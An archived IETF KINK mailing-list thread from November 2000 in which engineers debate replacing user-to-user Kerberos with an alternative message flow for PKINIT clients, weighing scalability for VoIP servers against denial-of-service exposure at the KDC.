AS-REQ as the symmetric key. > > My proposal is that we deal with this problem as a > PKinit issue rather than a KINK issue because this > is a generic problem with PKinit -- KINK is just > the first to stumble upon the implications of > using PKinit in a peer to peer application. The > advantage here is that we could avoid *all* > unauthenticated requests which from a DoS > standpoint seems like a much better idea. > > Mike > > Medvinsky, Sasha (SD-EX) writes: > > The user-to-user Kerberos mode in KINK is intended to > address the situation > > with PKINIT clients that do not have symmetric client keys > registered with > > the KDC and therefore a Kerberized server cannot get a > standard ticket for > > such a client. But the server still has to obtain > user-to-user tickets for > > clients, which brings up the following issues: > > > > 1) Under some architecures, such as VoIP, fast failover > time from a > > primary to a backup application server is critical. With > the current > > protocol, the backup server would have to go to the KDC > and get user-to-user > > tickets for all of the clients with which it needs to > establish IPSec SAs. > > This adds to the recovery time and adds additional > performance/reliability > > requirements to the KDC. The number of clients per server > can be large - > > 100,000 clients / Call Server is possible in the > PacketCable architecture. > > > > It is possible for the server to save user-to-user tickets and > > corresponding session keys into some shared database, > which is undesirable > > in terms of complexity as well as security. > > > > 2) Load balancing between multiple Call Servers is > sometimes used in > > the VoIP architecture - support for it is mandatory in the > PacketCable > > standard. The user-to-user tickets again either add to > the rekeying time > > (which delays the switch-over time for a client between > servers) or adds the > > complication of a shared database of user-to-user tickets. > > > > 3) A standard Kerberized server that doesn't support the > > user-to-user tickets is a lot simpler to implement. It > would implement a > > very small percentage of the Kerberos protocol - just the AP Req/AP > > Rep/KRB-ERROR messages. With the user-to-user mode, the > server needs the > > complete Kerberos client implementation and in addition > may need to support > > a very large ticket cache for user-to-user tickets. > > > > 4) Setting per-user policy is awkward for user-to-user requests. > > Normally, the user policy is associated with the client, > but in this case > > the client is the server. Kerberos allows a user to pass > authorization data > > in a TGS Request (which may be insecure, depending on the > content of that > > authorization data), which would not be possible if it is > the server getting > > a ticket for the client. > > > > 5) Setting per-user policy in a cross-realm case is even more > > awkward. The server's GetTGT request would most likely > contain the server's > > realm name (as the server may not know the client's > realm). This means that > > the response to the GetTGT will contain a cross-realm TGT > for the client. > > So, the server's KDC will wind up issuing a server a > user-to-user ticket for > > a client principal that is not even in that KDC's realm. > > > > There are alternative methods for handling PKINIT clients > that address most > > of the above issues. What I propose, is the following > modification to the > > protocol. The GetTGT message flow in section 4.2 can be > replaced with the > > following: > > > > A > > B > > ------ > > ------ > > 1 AuthenticateRequest+ServerPrincipalName---------------> > > > > 2 > <------------------------------------AuthenticateReply+AP_REQ > > > > 3 CREATE+ISAKMP (keyed cksum with sess key)--------> > > > > 4 <------------REPLY+ISAKMP(keyed cksum with sess key) > > > > In the above flows, there needs to be a way to tie flows 2 > and 3 together - > > for example the client timestamp inside AP_REQ can be > repeated in flow 3. > > In addition, there is already an XID in the header for > this key management > > session. (It is also possible to include the AP_REP in flow 3.) > > > > In the above flows, the AuthenticateRequest is not > authenticated, just like > > the GetTGT message. There is the denial of service > argument against the > > above flow since anyone can send the AuthenticateRequest. > If C impersonates > > A and sends the AuthenticateRequest, B will have to reply, > but A will reject > > the reply because the XID (session ID in the header) will > not match anything > > that A sent out. The denial of service arguments are: > > > > a) denial of service on the KDC - B may need to get a > ticket for A > > if it doesn't have it already. But, even if KDC receives > an invalid > > TGS_REQ, it still has to decrypt it to see that it is > invalid. I don't > > think that the extra work of issuing a ticket is a major > problem. Also, > > clients should cache the tickets, and the number of > servers in the KDC > > database is probably not that big. Also, the clients > should excersize > > access control and know ahead of time which servers they > should be talking > > to. > > > > b) denial of service on the clients - this is similar > to (a), except > > that the client's ticket cache is filled up. This is > really the same case > > as (a), because when the client's ticket cache is filled > up it can remove > > one of the entries. It just means that if the client gets > a request that > > needs the removed ticket, the client will request it from > the KDC again. > > > > Also, with the current KINK protocol, similar denial of > service attacks are > > possible. In that protocol, the GetTGT message only > specifies the realm. > > If the server doesn't know the client's name, it might get > the wrong client > > TGT and get a user-to-user ticket for a wrong client. If > the server then > > finds out that the resulting user-to-user ticket is not > accepted by the > > legitimate client, it will probably retry with another > GetTGT message that > > could also result in a wrong TGT (inserted by an > adversary) and then a wrong > > user-to-user ticket, ... > > > From owner-ietf-kink Fri Nov 3 12:17:35 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id MAA16744 for ietf-kink-bks; Fri, 3 Nov 2000 12:17:35 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA16739 for ; Fri, 3 Nov 2000 12:17:33 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id MAA16576; Fri, 3 Nov 2000 12:23:34 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA01991; Fri, 3 Nov 2000 12:23:34 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14851.7878.201034.633996@thomasm-u1.cisco.com> Date: Fri, 3 Nov 2000 12:23:34 -0800 (PST) To: "Medvinsky, Sasha (SD-EX)" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD4809@ntas0027.gi.com> References: <97DEDE66B3DCD11199D200805FA71BE202FD4809@ntas0027.gi.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Medvinsky, Sasha (SD-EX) writes: > As per my previous email, I listed what I consider to be problems associated > with a server obtaining tickets for a large number of its clients. While I > would support a change to PKINIT that allows automatic generation of client > keys that are saved in the KDC database, I don't believe that it addresses > this issue. It would either eliminate or mitigate the need for U-U. The only other argument I see is the potential need for a server to get tickets for the clients in a failover situations, etc. IPsec keying is fundamentally a peer to peer protocol. In my opinion adding a mode which is vulnerable to DoS attacks (and worse, third party DoS attacks) to preserve a client server architecture is not a worthwhile tradeoff to save what amounts to disk space for a large ticket cache. Also: a server only needs to obtain tickets for clients if there does not exist an SA *and* it has a reason to talk to the client. Until then, the non-existence of the SA is not hurting much more than a possible extra round trip or two in exceptional conditions, assuming that the client does not key the SA itself. Mike > > Sasha. > > > > -----Original Message----- > > From: Michael Thomas [mailto:mat@cisco.com] > > Sent: Friday, November 03, 2000 11:45 AM > > To: Medvinsky, Sasha (SD-EX) > > Cc: 'ietf-kink@vpnc.org' > > Subject: alternative to user-to-user Kerberos in KINK > > > > > > > > After talking to Matt Hur about this and thinking > > about this for a long time, I think the better > > part of valor here may, in fact, be avoidance. > > > > Taking a giant step backward, the root of all of > > the trouble here is that KINK is, in fact, a peer > > to peer protocol where PKinit expects a client > > server relationship. The main problem is that > > PKinit authenticated clients do not share a > > symmetric key at the KDC so the KDC cannot issue a > > service ticket directly thus bringing on the > > issues related to user-user mode. If the PKinit > > client did share a key with the KDC, the KINK peer > > would just obtain a normal service ticket and that > > would be that. > > > > Therefore, I think that I agree with Matt's > > contention that a much better strategy for use of > > PKinit would be to use PKinit as an enrollment > > strategy into a kerberos realm rather than an > > authentication strategy, per se. Ie, a client > > authenticates to the KDC using a cert but the KDC > > then enrolls it with a symmetric key and saves > > that key in its principal database. I haven't > > looked at this exhaustively, but I think that this > > strategy could be implemented using either no or > > minimal changes to PKinit -- the obvious thing to > > do is use the session key from the TGT from the > > PKinit AS-REQ as the symmetric key. > > > > My proposal is that we deal with this problem as a > > PKinit issue rather than a KINK issue because this > > is a generic problem with PKinit -- KINK is just > > the first to stumble upon the implications of > > using PKinit in a peer to peer application. The > > advantage here is that we could avoid *all* > > unauthenticated requests which from a DoS > > standpoint seems like a much better idea. > > > > Mike > > > > Medvinsky, Sasha (SD-EX) writes: > > > The user-to-user Kerberos mode in KINK is intended to > > address the situation > > > with PKINIT clients that do not have symmetric client keys > > registered with > > > the KDC and therefore a Kerberized server cannot get a > > standard ticket for > > > such a client. But the server still has to obtain > > user-to-user tickets for > > > clients, which brings up the following issues: > > > > > > 1) Under some architecures, such as VoIP, fast failover > > time from a > > > primary to a backup application server is critical. With > > the current > > > protocol, the backup server would have to go to the KDC > > and get user-to-user > > > tickets for all of the clients with which it needs to > > establish IPSec SAs. > > > This adds to the recovery time and adds additional > > performance/reliability > > > requirements to the KDC. The number of clients per server > > can be large - > > > 100,000 clients / Call Server is possible in the > > PacketCable architecture. > > > > > > It is possible for the server to save user-to-user tickets and > > > corresponding session keys into some shared database, > > which is undesirable > > > in terms of complexity as well as security. > > > > > > 2) Load balancing between multiple Call Servers is > > sometimes used in > > > the VoIP architecture - support for it is mandatory in the > > PacketCable > > > standard. The user-to-user tickets again either add to > > the rekeying time > > > (which delays the switch-over time for a client between > > servers) or adds the > > > complication of a shared database of user-to-user tickets. > > > > > > 3) A standard Kerberized server that doesn't support the > > > user-to-user tickets is a lot simpler to implement. It > > would implement a > > > very small percentage of the Kerberos protocol - just the AP Req/AP > > > Rep/KRB-ERROR messages. With the user-to-user mode, the > > server needs the > > > complete Kerberos client implementation and in addition > > may need to support > > > a very large ticket cache for user-to-user tickets. > > > > > > 4) Setting per-user policy is awkward for user-to-user requests. > > > Normally, the user policy is associated with the client, > > but in this case > > > the client is the server. Kerberos allows a user to pass > > authorization data > > > in a TGS Request (which may be insecure, depending on the > > content of that > > > authorization data), which would not be possible if it is > > the server getting > > > a ticket for the client. > > > > > > 5) Setting per-user policy in a cross-realm case is even more > > > awkward. The server's GetTGT request would most likely > > contain the server's > > > realm name (as the server may not know the client's > > realm). This means that > > > the response to the GetTGT will contain a cross-realm TGT > > for the client. > > > So, the server's KDC will wind up issuing a server a > > user-to-user ticket for > > > a client principal that is not even in that KDC's realm. > > > > > > There are alternative methods for handling PKINIT clients > > that address most > > > of the above issues. What I propose, is the following > > modification to the > > > protocol. The GetTGT message flow in section 4.2 can be > > replaced with the > > > following: > > > > > > A > > > B > > > ------ > > > ------ > > > 1 AuthenticateRequest+ServerPrincipalName---------------> > > > > > > 2 > > <------------------------------------AuthenticateReply+AP_REQ > > > > > > 3 CREATE+ISAKMP (keyed cksum with sess key)--------> > > > > > > 4 <------------REPLY+ISAKMP(keyed cksum with sess key) > > > > > > In the above flows, there needs to be a way to tie flows 2 > > and 3 together - > > > for example the client timestamp inside AP_REQ can be > > repeated in flow 3. > > > In addition, there is already an XID in the header for > > this key management > > > session. (It is also possible to include the AP_REP in flow 3.) > > > > > > In the above flows, the AuthenticateRequest is not > > authenticated, just like > > > the GetTGT message. There is the denial of service > > argument against the > > > above flow since anyone can send the AuthenticateRequest. > > If C impersonates > > > A and sends the AuthenticateRequest, B will have to reply, > > but A will reject > > > the reply because the XID (session ID in the header) will > > not match anything > > > that A sent out. The denial of service arguments are: > > > > > > a) denial of service on the KDC - B may need to get a > > ticket for A > > > if it doesn't have it already. But, even if KDC receives > > an invalid > > > TGS_REQ, it still has to decrypt it to see that it is > > invalid. I don't > > > think that the extra work of issuing a ticket is a major > > problem. Also, > > > clients should cache the tickets, and the number of > > servers in the KDC > > > database is probably not that big. Also, the clients > > should excersize > > > access control and know ahead of time which servers they > > should be talking > > > to. > > > > > > b) denial of service on the clients - this is similar > > to (a), except > > > that the client's ticket cache is filled up. This is > > really the same case > > > as (a), because when the client's ticket cache is filled > > up it can remove > > > one of the entries. It just means that if the client gets > > a request that > > > needs the removed ticket, the client will request it from > > the KDC again. > > > > > > Also, with the current KINK protocol, similar denial of > > service attacks are > > > possible. In that protocol, the GetTGT message only > > specifies the realm. > > > If the server doesn't know the client's name, it might get > > the wrong client > > > TGT and get a user-to-user ticket for a wrong client. If > > the server then > > > finds out that the resulting user-to-user ticket is not > > accepted by the > > > legitimate client, it will probably retry with another > > GetTGT message that > > > could also result in a wrong TGT (inserted by an > > adversary) and then a wrong > > > user-to-user ticket, ... > > > > > > From owner-ietf-kink Fri Nov 3 13:26:17 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id NAA18336 for ietf-kink-bks; Fri, 3 Nov 2000 13:26:17 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA18332 for ; Fri, 3 Nov 2000 13:26:16 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id NAA11623; Fri, 3 Nov 2000 13:26:56 -0800 (PST) Date: Fri, 3 Nov 2000 13:26:43 -0800 (PST) From: Jan Vilhuber To: Michael Thomas cc: "Medvinsky, Sasha (SD-EX)" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <14851.5550.610343.923802@thomasm-u1.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: This sounds like an excellent avenue to pursue. jan On Fri, 3 Nov 2000, Michael Thomas wrote: > > After talking to Matt Hur about this and thinking > about this for a long time, I think the better > part of valor here may, in fact, be avoidance. > > Taking a giant step backward, the root of all of > the trouble here is that KINK is, in fact, a peer > to peer protocol where PKinit expects a client > server relationship. The main problem is that > PKinit authenticated clients do not share a > symmetric key at the KDC so the KDC cannot issue a > service ticket directly thus bringing on the > issues related to user-user mode. If the PKinit > client did share a key with the KDC, the KINK peer > would just obtain a normal service ticket and that > would be that. > > Therefore, I think that I agree with Matt's > contention that a much better strategy for use of > PKinit would be to use PKinit as an enrollment > strategy into a kerberos realm rather than an > authentication strategy, per se. Ie, a client > authenticates to the KDC using a cert but the KDC > then enrolls it with a symmetric key and saves > that key in its principal database. I haven't > looked at this exhaustively, but I think that this > strategy could be implemented using either no or > minimal changes to PKinit -- the obvious thing to > do is use the session key from the TGT from the > PKinit AS-REQ as the symmetric key. > > My proposal is that we deal with this problem as a > PKinit issue rather than a KINK issue because this > is a generic problem with PKinit -- KINK is just > the first to stumble upon the implications of > using PKinit in a peer to peer application. The > advantage here is that we could avoid *all* > unauthenticated requests which from a DoS > standpoint seems like a much better idea. > > Mike > > Medvinsky, Sasha (SD-EX) writes: > > The user-to-user Kerberos mode in KINK is intended to address the situation > > with PKINIT clients that do not have symmetric client keys registered with > > the KDC and therefore a Kerberized server cannot get a standard ticket for > > such a client. But the server still has to obtain user-to-user tickets for > > clients, which brings up the following issues: > > > > 1) Under some architecures, such as VoIP, fast failover time from a > > primary to a backup application server is critical. With the current > > protocol, the backup server would have to go to the KDC and get user-to-user > > tickets for all of the clients with which it needs to establish IPSec SAs. > > This adds to the recovery time and adds additional performance/reliability > > requirements to the KDC. The number of clients per server can be large - > > 100,000 clients / Call Server is possible in the PacketCable architecture. > > > > It is possible for the server to save user-to-user tickets and > > corresponding session keys into some shared database, which is undesirable > > in terms of complexity as well as security. > > > > 2) Load balancing between multiple Call Servers is sometimes used in > > the VoIP architecture - support for it is mandatory in the PacketCable > > standard. The user-to-user tickets again either add to the rekeying time > > (which delays the switch-over time for a client between servers) or adds the > > complication of a shared database of user-to-user tickets. > > > > 3) A standard Kerberized server that doesn't support the > > user-to-user tickets is a lot simpler to implement. It would implement a > > very small percentage of the Kerberos protocol - just the AP Req/AP > > Rep/KRB-ERROR messages. With the user-to-user mode, the server needs the > > complete Kerberos client implementation and in addition may need to support > > a very large ticket cache for user-to-user tickets. > > > > 4) Setting per-user policy is awkward for user-to-user requests. > > Normally, the user policy is associated with the client, but in this case > > the client is the server. Kerberos allows a user to pass authorization data > > in a TGS Request (which may be insecure, depending on the content of that > > authorization data), which would not be possible if it is the server getting > > a ticket for the client. > > > > 5) Setting per-user policy in a cross-realm case is even more > > awkward. The server's GetTGT request would most likely contain the server's > > realm name (as the server may not know the client's realm). This means that > > the response to the GetTGT will contain a cross-realm TGT for the client. > > So, the server's KDC will wind up issuing a server a user-to-user ticket for > > a client principal that is not even in that KDC's realm. > > > > There are alternative methods for handling PKINIT clients that address most > > of the above issues. What I propose, is the following modification to the > > protocol. The GetTGT message flow in section 4.2 can be replaced with the > > following: > > > > A > > B > > ------ > > ------ > > 1 AuthenticateRequest+ServerPrincipalName---------------> > > > > 2 <------------------------------------AuthenticateReply+AP_REQ > > > > 3 CREATE+ISAKMP (keyed cksum with sess key)--------> > > > > 4 <------------REPLY+ISAKMP(keyed cksum with sess key) > > > > In the above flows, there needs to be a way to tie flows 2 and 3 together - > > for example the client timestamp inside AP_REQ can be repeated in flow 3. > > In addition, there is already an XID in the header for this key management > > session. (It is also possible to include the AP_REP in flow 3.) > > > > In the above flows, the AuthenticateRequest is not authenticated, just like > > the GetTGT message. There is the denial of service argument against the > > above flow since anyone can send the AuthenticateRequest. If C impersonates > > A and sends the AuthenticateRequest, B will have to reply, but A will reject > > the reply because the XID (session ID in the header) will not match anything > > that A sent out. The denial of service arguments are: > > > > a) denial of service on the KDC - B may need to get a ticket for A > > if it doesn't have it already. But, even if KDC receives an invalid > > TGS_REQ, it still has to decrypt it to see that it is invalid. I don't > > think that the extra work of issuing a ticket is a major problem. Also, > > clients should cache the tickets, and the number of servers in the KDC > > database is probably not that big. Also, the clients should excersize > > access control and know ahead of time which servers they should be talking > > to. > > > > b) denial of service on the clients - this is similar to (a), except > > that the client's ticket cache is filled up. This is really the same case > > as (a), because when the client's ticket cache is filled up it can remove > > one of the entries. It just means that if the client gets a request that > > needs the removed ticket, the client will request it from the KDC again. > > > > Also, with the current KINK protocol, similar denial of service attacks are > > possible. In that protocol, the GetTGT message only specifies the realm. > > If the server doesn't know the client's name, it might get the wrong client > > TGT and get a user-to-user ticket for a wrong client. If the server then > > finds out that the resulting user-to-user ticket is not accepted by the > > legitimate client, it will probably retry with another GetTGT message that > > could also result in a wrong TGT (inserted by an adversary) and then a wrong > > user-to-user ticket, ... > > > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Sat Nov 4 05:08:15 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id FAA10978 for ietf-kink-bks; Sat, 4 Nov 2000 05:08:15 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA10974 for ; Sat, 4 Nov 2000 05:08:14 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JW4OI62ASUEZGWWD@GI.COM> for ietf-kink@vpnc.org; Sat, 4 Nov 2000 05:14:11 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Fri, 03 Nov 2000 13:59:01 -0500 Content-return: allowed Date: Fri, 03 Nov 2000 17:02:01 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Michael Thomas'" Cc: "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD480C@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, DoS attacks are always possible - it is just a matter of degree. As I described them in my previous email, I don't see those denial of service attacks as serious. A few roundtrips for a single connection is certainly no problem, when you have 100,000 of them to a single server in a real-time application, it is a real issue. The protocol will work either way, but I would not want to for example downgrade the scalability of PacketCable architecture by using your proposed approach. Sasha. > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Friday, November 03, 2000 12:24 PM > To: Medvinsky, Sasha (SD-EX) > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: RE: alternative to user-to-user Kerberos in KINK > > > Medvinsky, Sasha (SD-EX) writes: > > As per my previous email, I listed what I consider to be > problems associated > > with a server obtaining tickets for a large number of its > clients. While I > > would support a change to PKINIT that allows automatic > generation of client > > keys that are saved in the KDC database, I don't believe > that it addresses > > this issue. > > It would either eliminate or mitigate the need for U-U. > > The only other argument I see is the potential need for > a server to get tickets for the clients in a failover > situations, etc. IPsec keying is fundamentally a peer > to peer protocol. In my opinion adding a mode > which is vulnerable to DoS attacks (and worse, > third party DoS attacks) to preserve a client > server architecture is not a worthwhile > tradeoff to save what amounts to disk space > for a large ticket cache. Also: a server only > needs to obtain tickets for clients if there > does not exist an SA *and* it has a reason to > talk to the client. Until then, the > non-existence of the SA is not hurting much > more than a possible extra round trip or two in > exceptional conditions, assuming that the > client does not key the SA itself. > > Mike > > > > > > > Sasha. > > > > > > > -----Original Message----- > > > From: Michael Thomas [mailto:mat@cisco.com] > > > Sent: Friday, November 03, 2000 11:45 AM > > > To: Medvinsky, Sasha (SD-EX) > > > Cc: 'ietf-kink@vpnc.org' > > > Subject: alternative to user-to-user Kerberos in KINK > > > > > > > > > > > > After talking to Matt Hur about this and thinking > > > about this for a long time, I think the better > > > part of valor here may, in fact, be avoidance. > > > > > > Taking a giant step backward, the root of all of > > > the trouble here is that KINK is, in fact, a peer > > > to peer protocol where PKinit expects a client > > > server relationship. The main problem is that > > > PKinit authenticated clients do not share a > > > symmetric key at the KDC so the KDC cannot issue a > > > service ticket directly thus bringing on the > > > issues related to user-user mode. If the PKinit > > > client did share a key with the KDC, the KINK peer > > > would just obtain a normal service ticket and that > > > would be that. > > > > > > Therefore, I think that I agree with Matt's > > > contention that a much better strategy for use of > > > PKinit would be to use PKinit as an enrollment > > > strategy into a kerberos realm rather than an > > > authentication strategy, per se. Ie, a client > > > authenticates to the KDC using a cert but the KDC > > > then enrolls it with a symmetric key and saves > > > that key in its principal database. I haven't > > > looked at this exhaustively, but I think that this > > > strategy could be implemented using either no or > > > minimal changes to PKinit -- the obvious thing to > > > do is use the session key from the TGT from the > > > PKinit AS-REQ as the symmetric key. > > > > > > My proposal is that we deal with this problem as a > > > PKinit issue rather than a KINK issue because this > > > is a generic problem with PKinit -- KINK is just > > > the first to stumble upon the implications of > > > using PKinit in a peer to peer application. The > > > advantage here is that we could avoid *all* > > > unauthenticated requests which from a DoS > > > standpoint seems like a much better idea. > > > > > > Mike > > > > > > Medvinsky, Sasha (SD-EX) writes: > > > > The user-to-user Kerberos mode in KINK is intended to > > > address the situation > > > > with PKINIT clients that do not have symmetric client keys > > > registered with > > > > the KDC and therefore a Kerberized server cannot get a > > > standard ticket for > > > > such a client. But the server still has to obtain > > > user-to-user tickets for > > > > clients, which brings up the following issues: > > > > > > > > 1) Under some architecures, such as VoIP, fast failover > > > time from a > > > > primary to a backup application server is critical. With > > > the current > > > > protocol, the backup server would have to go to the KDC > > > and get user-to-user > > > > tickets for all of the clients with which it needs to > > > establish IPSec SAs. > > > > This adds to the recovery time and adds additional > > > performance/reliability > > > > requirements to the KDC. The number of clients per server > > > can be large - > > > > 100,000 clients / Call Server is possible in the > > > PacketCable architecture. > > > > > > > > It is possible for the server to save > user-to-user tickets and > > > > corresponding session keys into some shared database, > > > which is undesirable > > > > in terms of complexity as well as security. > > > > > > > > 2) Load balancing between multiple Call Servers is > > > sometimes used in > > > > the VoIP architecture - support for it is mandatory in the > > > PacketCable > > > > standard. The user-to-user tickets again either add to > > > the rekeying time > > > > (which delays the switch-over time for a client between > > > servers) or adds the > > > > complication of a shared database of user-to-user tickets. > > > > > > > > 3) A standard Kerberized server that doesn't support the > > > > user-to-user tickets is a lot simpler to implement. It > > > would implement a > > > > very small percentage of the Kerberos protocol - just > the AP Req/AP > > > > Rep/KRB-ERROR messages. With the user-to-user mode, the > > > server needs the > > > > complete Kerberos client implementation and in addition > > > may need to support > > > > a very large ticket cache for user-to-user tickets. > > > > > > > > 4) Setting per-user policy is awkward for > user-to-user requests. > > > > Normally, the user policy is associated with the client, > > > but in this case > > > > the client is the server. Kerberos allows a user to pass > > > authorization data > > > > in a TGS Request (which may be insecure, depending on the > > > content of that > > > > authorization data), which would not be possible if it is > > > the server getting > > > > a ticket for the client. > > > > > > > > 5) Setting per-user policy in a cross-realm > case is even more > > > > awkward. The server's GetTGT request would most likely > > > contain the server's > > > > realm name (as the server may not know the client's > > > realm). This means that > > > > the response to the GetTGT will contain a cross-realm TGT > > > for the client. > > > > So, the server's KDC will wind up issuing a server a > > > user-to-user ticket for > > > > a client principal that is not even in that KDC's realm. > > > > > > > > There are alternative methods for handling PKINIT clients > > > that address most > > > > of the above issues. What I propose, is the following > > > modification to the > > > > protocol. The GetTGT message flow in section 4.2 can be > > > replaced with the > > > > following: > > > > > > > > A > > > > B > > > > ------ > > > > ------ > > > > 1 AuthenticateRequest+ServerPrincipalName---------------> > > > > > > > > 2 > > > <------------------------------------AuthenticateReply+AP_REQ > > > > > > > > 3 CREATE+ISAKMP (keyed cksum with sess key)--------> > > > > > > > > 4 <------------REPLY+ISAKMP(keyed cksum with sess key) > > > > > > > > In the above flows, there needs to be a way to tie flows 2 > > > and 3 together - > > > > for example the client timestamp inside AP_REQ can be > > > repeated in flow 3. > > > > In addition, there is already an XID in the header for > > > this key management > > > > session. (It is also possible to include the AP_REP > in flow 3.) > > > > > > > > In the above flows, the AuthenticateRequest is not > > > authenticated, just like > > > > the GetTGT message. There is the denial of service > > > argument against the > > > > above flow since anyone can send the AuthenticateRequest. > > > If C impersonates > > > > A and sends the AuthenticateRequest, B will have to reply, > > > but A will reject > > > > the reply because the XID (session ID in the header) will > > > not match anything > > > > that A sent out. The denial of service arguments are: > > > > > > > > a) denial of service on the KDC - B may need to get a > > > ticket for A > > > > if it doesn't have it already. But, even if KDC receives > > > an invalid > > > > TGS_REQ, it still has to decrypt it to see that it is > > > invalid. I don't > > > > think that the extra work of issuing a ticket is a major > > > problem. Also, > > > > clients should cache the tickets, and the number of > > > servers in the KDC > > > > database is probably not that big. Also, the clients > > > should excersize > > > > access control and know ahead of time which servers they > > > should be talking > > > > to. > > > > > > > > b) denial of service on the clients - this is similar > > > to (a), except > > > > that the client's ticket cache is filled up. This is > > > really the same case > > > > as (a), because when the client's ticket cache is filled > > > up it can remove > > > > one of the entries. It just means that if the client gets > > > a request that > > > > needs the removed ticket, the client will request it from > > > the KDC again. > > > > > > > > Also, with the current KINK protocol, similar denial of > > > service attacks are > > > > possible. In that protocol, the GetTGT message only > > > specifies the realm. > > > > If the server doesn't know the client's name, it might get > > > the wrong client > > > > TGT and get a user-to-user ticket for a wrong client. If > > > the server then > > > > finds out that the resulting user-to-user ticket is not > > > accepted by the > > > > legitimate client, it will probably retry with another > > > GetTGT message that > > > > could also result in a wrong TGT (inserted by an > > > adversary) and then a wrong > > > > user-to-user ticket, ... > > > > > > > > > > From owner-ietf-kink Sat Nov 4 11:11:50 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id LAA02461 for ietf-kink-bks; Sat, 4 Nov 2000 11:11:50 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA02457 for ; Sat, 4 Nov 2000 11:11:49 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id LAA15751; Sat, 4 Nov 2000 11:17:55 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA02252; Sat, 4 Nov 2000 11:17:55 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14852.24803.66583.708633@thomasm-u1.cisco.com> Date: Sat, 4 Nov 2000 11:17:55 -0800 (PST) To: "Medvinsky, Sasha (SD-EX)" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD480C@ntas0027.gi.com> References: <97DEDE66B3DCD11199D200805FA71BE202FD480C@ntas0027.gi.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Medvinsky, Sasha (SD-EX) writes: > DoS attacks are always possible - it is just a matter of degree. As I > described them in my previous email, I don't see those denial of service > attacks as serious. I would say that any scenario which explicitly allows for a third party DoS attack against a KDC is pretty suspect. With the wakeup method you propose, the attacker merely spoofs the address of the peer and attaches an appropriate number of bits to resemble a ticket. Computationally, this is trivial. However, the receiver would then have to create an TGS-REQ with the two tickets and send the request to the KDC. This is computationally expensive. The KDC would then have to decrypt the request and act on it which is computationally expensive. In the U-U scenario, the burden of creating the TGS-REQ lies on the attacker. The GetTGT response is not authenticated so it costs the receiver little. The cost at the KDC is the same. However, there is little profit in involving the U-U peer if the attacker doesn't already have a legitimate TGT: the attacker could just as easily have spoofed the entire U-U TGS-REQ to cause a direct DoS attack on the KDC. Also: the attack originates from its 